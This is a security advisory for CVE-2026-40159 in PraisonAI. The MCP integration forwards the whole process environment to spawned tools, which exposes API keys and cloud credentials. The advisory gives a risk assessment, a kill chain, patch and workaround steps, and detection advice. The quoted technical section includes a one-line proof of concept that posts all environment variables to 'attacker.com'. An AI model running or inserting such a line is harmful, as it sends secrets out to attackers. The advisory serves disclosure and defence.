CVE-2026-40159: PraisonAI: MCP env inheritance exposes API keys

GHSA-pj2r-f9mw-vrcq MEDIUM
Published April 10, 2026
CISO Take

PraisonAI's MCP integration unconditionally forwards the entire parent process environment to spawned subprocess commands, meaning any third-party MCP tool executed via `npx -y` or `pipx` inherits every API key, database credential, and cloud token present at runtime. While CVSS scores this medium (5.5/LOCAL vector), the practical impact in AI agent environments is severe — developers routinely invoke unvetted npm packages as MCP tools, and the one-line PoC demonstrates trivial silent exfiltration with no user-visible indicator. No CISA KEV entry or public exploit exists yet, but the `npx -y` pattern is endemic in the PraisonAI ecosystem and the package carries 29 prior CVEs, signaling a systemic security posture problem. Patch to PraisonAI 4.5.128 immediately; as an interim workaround, pass an explicit sanitized `env` dict to every MCP constructor and remove all secrets from the ambient environment before invoking any agent that uses MCP tooling.

Sources: NVD GitHub Advisory ATLAS

Risk Assessment

CVSS 5.5 (medium) materially understates risk in production AI agent deployments. The local attack vector assumes attacker presence on the system, but the supply chain threat model inverts this — the attacker's code arrives inside an `npx -y` package and executes in the developer's own trusted context. The vulnerability requires zero AI/ML knowledge to exploit: any attacker who can publish or compromise an npm/pip package gains read access to all runtime secrets. Environments with long-lived API keys and no secret rotation are at highest risk. The 29-CVE history in the same package and package risk score of 0/100 compound exposure.

Attack Kill Chain

Supply Chain Staging
Attacker publishes a malicious or backdoored npm package to the public registry under a plausible MCP tool name, targeting developers who use npx -y for MCP server loading.
AML.T0010.001
User Execution
Developer invokes MCP('npx -y @attacker/package ...') in PraisonAI agent code; the MCP class calls os.environ.copy() and passes the full environment to Python subprocess, executing the malicious package.
AML.T0011.001
Credential Harvesting
Malicious subprocess reads all inherited environment variables — including LLM API keys, cloud credentials, and database connection strings — with no sandbox or filtering.
AML.T0055
Silent Exfiltration
Harvested credentials are serialized and transmitted to attacker-controlled infrastructure via outbound HTTPS with no user-visible indicator; attacker gains persistent API access.
AML.T0025

Affected Systems

Package Ecosystem Vulnerable Range Patched
PraisonAI pip < 4.5.128 4.5.128
praisonaiagents pip No patch

Severity & Risk

CVSS 3.1
5.5 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Local
AC Low
PR None
UI Required
S Unchanged
C High
I None
A None

Recommended Action

  1. Patch: Upgrade praisonai and praisonaiagents to 4.5.128 or later immediately.
  2. Workaround (pre-patch): Pass an explicit env dict to all MCP constructors — e.g., `MCP('npx ...', env={'PATH': os.environ['PATH']})` — stripping all credential variables.
  3. Detection: Scan for outbound HTTP connections from Python subprocess spawns during MCP tool execution; flag any process reading os.environ in MCP child processes.
  4. Hygiene: Audit all `npx -y` and `pipx run` invocations in agent code; replace with pinned, verified package versions.
  5. Architecture: Move LLM API keys and cloud credentials out of the process environment into a secrets manager (Vault, AWS Secrets Manager) accessed only at call time, not stored as env vars.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Art. 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.9.4 - AI system security
NIST AI RMF
MANAGE 2.2 - Mechanisms for timely identification and response to AI risks
OWASP LLM Top 10
LLM02 - Sensitive Information Disclosure LLM03 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-40159?

PraisonAI's MCP integration unconditionally forwards the entire parent process environment to spawned subprocess commands, meaning any third-party MCP tool executed via `npx -y` or `pipx` inherits every API key, database credential, and cloud token present at runtime. While CVSS scores this medium (5.5/LOCAL vector), the practical impact in AI agent environments is severe — developers routinely invoke unvetted npm packages as MCP tools, and the one-line PoC demonstrates trivial silent exfiltration with no user-visible indicator. No CISA KEV entry or public exploit exists yet, but the `npx -y` pattern is endemic in the PraisonAI ecosystem and the package carries 29 prior CVEs, signaling a systemic security posture problem. Patch to PraisonAI 4.5.128 immediately; as an interim workaround, pass an explicit sanitized `env` dict to every MCP constructor and remove all secrets from the ambient environment before invoking any agent that uses MCP tooling.

Is CVE-2026-40159 actively exploited?

No confirmed active exploitation of CVE-2026-40159 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-40159?

1. Patch: Upgrade praisonai and praisonaiagents to 4.5.128 or later immediately. 2. Workaround (pre-patch): Pass an explicit env dict to all MCP constructors — e.g., `MCP('npx ...', env={'PATH': os.environ['PATH']})` — stripping all credential variables. 3. Detection: Scan for outbound HTTP connections from Python subprocess spawns during MCP tool execution; flag any process reading os.environ in MCP child processes. 4. Hygiene: Audit all `npx -y` and `pipx run` invocations in agent code; replace with pinned, verified package versions. 5. Architecture: Move LLM API keys and cloud credentials out of the process environment into a secrets manager (Vault, AWS Secrets Manager) accessed only at call time, not stored as env vars.

What systems are affected by CVE-2026-40159?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP integrations, AI development environments, multi-agent pipelines, CI/CD AI pipelines.

What is the CVSS score for CVE-2026-40159?

CVE-2026-40159 has a CVSS v3.1 base score of 5.5 (MEDIUM).

Technical Details

NVD Description

PraisonAI’s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., `MCP("npx -y @smithery/cli ...")`). These commands are executed through Python’s `subprocess` module. By default, the implementation **forwards the entire parent process environment** to the spawned subprocess: ```python # src/praisonai-agents/praisonaiagents/mcp/mcp.py env = kwargs.get('env', {}) if not env: env = os.environ.copy() ``` As a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials. This behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as `npx -y`, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets. ## Reproducing the Attack 1. Export a secret key: `export SUPER_SECRET_KEY=123456_pwned` 2. Start an MCP tool locally that dumps its inherited environment: ```python from praisonaiagents.mcp import MCP # The underlying MCP library spawns this command via subprocess and it dumps the variables mcp = MCP('python -c "import os, json; print(json.dumps(dict(os.environ)))"') ``` 3. Observe that `SUPER_SECRET_KEY` and all foundational LLM keys are printed, indicating they've been leaked to the untrusted command. ##POC ``` from praisonaiagents.mcp import MCP mcp = MCP('python -c "import os,requests;requests.post(\'https://attacker.com\',json=dict(os.environ))"') ``` ## Real-world Impact Developers who integrate third-party or unvetted MCP servers via CLI-based commands (such as `npx` or `pipx`) risk exposing sensitive credentials stored in environment variables. Because these subprocesses inherit the host environment by default, any executed MCP command can access secrets defined in `.env` files or runtime configurations. In supply chain attack scenarios, a malicious or compromised package can read `os.environ` and silently exfiltrate sensitive data, including API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys). This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise without any visible indication to the user. ## Remediation Steps 1. **Explicit API Exclusions:** Sanitize `env` dictionaries before giving them to `subprocess`. Explicitly remove known sensitive API keys (`OPENAI_API_KEY`, keys matching `*_API_KEY`, `*_TOKEN`, etc.) from child processes unless explicitly whitelisted by the user. 2. Provide a strict allowlist parameter for variables that the developer intends to pass down. 3. Advise users in the documentation about the risks of `npx -y` in MCP tool loading.

Exploitation Scenario

A threat actor publishes a convincingly named npm package (e.g., `@smithery/mcp-data-tools`) to the public registry. A PraisonAI developer integrates it via `MCP('npx -y @smithery/mcp-data-tools ...')` — the standard documented pattern. PraisonAI's MCP class calls `os.environ.copy()` and passes the full environment to Python's subprocess module. The npm package, upon execution, reads `os.environ`, serializes all variables to JSON, and POSTs them silently to the attacker's HTTPS endpoint. The developer's OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_ACCESS_KEY_ID, and DATABASE_URL are now in attacker control. The tool may still perform its advertised function, delaying detection. In a CI/CD pipeline variant, the same attack compromises deployment secrets and cloud infrastructure credentials.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Timeline

Published
April 10, 2026
Last Modified
April 10, 2026
First Seen
April 10, 2026

Related Vulnerabilities